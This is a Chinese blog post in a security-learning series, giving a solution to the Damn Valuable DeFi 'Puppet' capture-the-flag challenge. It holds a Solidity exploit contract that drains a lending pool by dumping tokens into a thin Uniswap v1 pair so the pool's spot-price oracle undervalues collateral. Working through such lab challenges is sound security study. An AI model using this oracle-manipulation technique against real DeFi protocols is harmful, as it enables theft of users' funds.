iT邦幫忙

2024 iThome 鐵人賽

DAY 11
0

最近事情真的多到快要炸開了,然後有一台筆電壞到左邊的 hub 剩下電源跟網路孔是好的,真是多麼美好的一天(癱

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Pass the challenge by saving all tokens from the lending pool, then depositing them into the designated recovery account. You start with 25 ETH and 1000 DVTs in balance.

Analyze WTF

這一題一共有3個合約,但是按照之前的經驗我們可以只看跟題目名字長的一樣的就好XD

按照題目的意思,如果我們需要借貸 DVT 的話,我們必須先存入2倍的 ETH 進入底池,然後目前該底池有 100000 個 DVT

現在有一個 Uniswap v1 交易所開放了 DVT 市場,目前有 10 ETH 和 10 DVT 的流動性

那參考下面的 function,可以看到 DVT 的價格會經過一系列的計算來決定,所以看看能不能耍一下小手段來修改價格

function calculateDepositRequired(uint256 amount) public view returns (uint256) {
    return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
}

function _computeOraclePrice() private view returns (uint256) {
    // calculates the price of the token in wei according to Uniswap pair
    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

Solve WTF

為了可以實現 0 元購
如果我們能讓 calculateDepositRequired() 返回 0,那麼我們就可以免費從池中借出所有的 DVT 代幣,至於要怎麼讓它返回 0 ,我們可以把東西賣給 Uniswap 來讓 uniswapPair.balance 變小,並讓 token.balanceOf(uniswapPair) 變大,沒錯,就是通貨膨脹

function test_puppet() public checkSolvedByPlayer {
    PuppetExploit exploit = new PuppetExploit{value:PLAYER_INITIAL_ETH_BALANCE}(
        token,
        lendingPool,
        uniswapV1Exchange,
        recovery
    );
    token.transfer(address(exploit), PLAYER_INITIAL_TOKEN_BALANCE);
    exploit.attack(POOL_INITIAL_TOKEN_BALANCE);
}
contract PuppetExploit {
        DamnValuableToken token;
        PuppetPool lendingPool;
        IUniswapV1Exchange uniswapV1Exchange;
        address recovery;

        constructor(
            DamnValuableToken _token,
            PuppetPool _lendingPool,
            IUniswapV1Exchange _uniswapV1Exchange,
            address _recovery
        ) payable {
            token = _token;
            lendingPool = _lendingPool;
            uniswapV1Exchange = _uniswapV1Exchange;
            recovery = _recovery;
        }

        function attack(uint256 exploitAmount) external {
            uint256 tokenBalance = token.balanceOf(address(this));

            // 授權 Uniswap 使用本合約的所有 DVT 代幣
            token.approve(address(uniswapV1Exchange), tokenBalance);

            // 將所有 DVT 代幣換成 ETH,並設置最低接受的 ETH 數量 (9)
            uniswapV1Exchange.tokenToEthTransferInput(
                tokenBalance,
                9,
                block.timestamp,
                address(this)
            );

        // 使用合約中所有的 ETH 作為抵押,從借貸池借出指定數量的 DVT 代幣,並將其發送至 recovery 地址
            lendingPool.borrow{value: address(this).balance}(
                exploitAmount,
                recovery
            );
        }

    // 接收 ETH 的回調函數
        receive() external payable {}
    }

理論上是過了,但是有一個錯誤是 rpc url 我沒有設定,但是我好懶的動它
ac?

每日梗圖(1/1)
meme


上一篇
Day 10 - Compromised_好啦我脫褲子
下一篇
Day 12 - Puppet V2_木偶 2.0
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言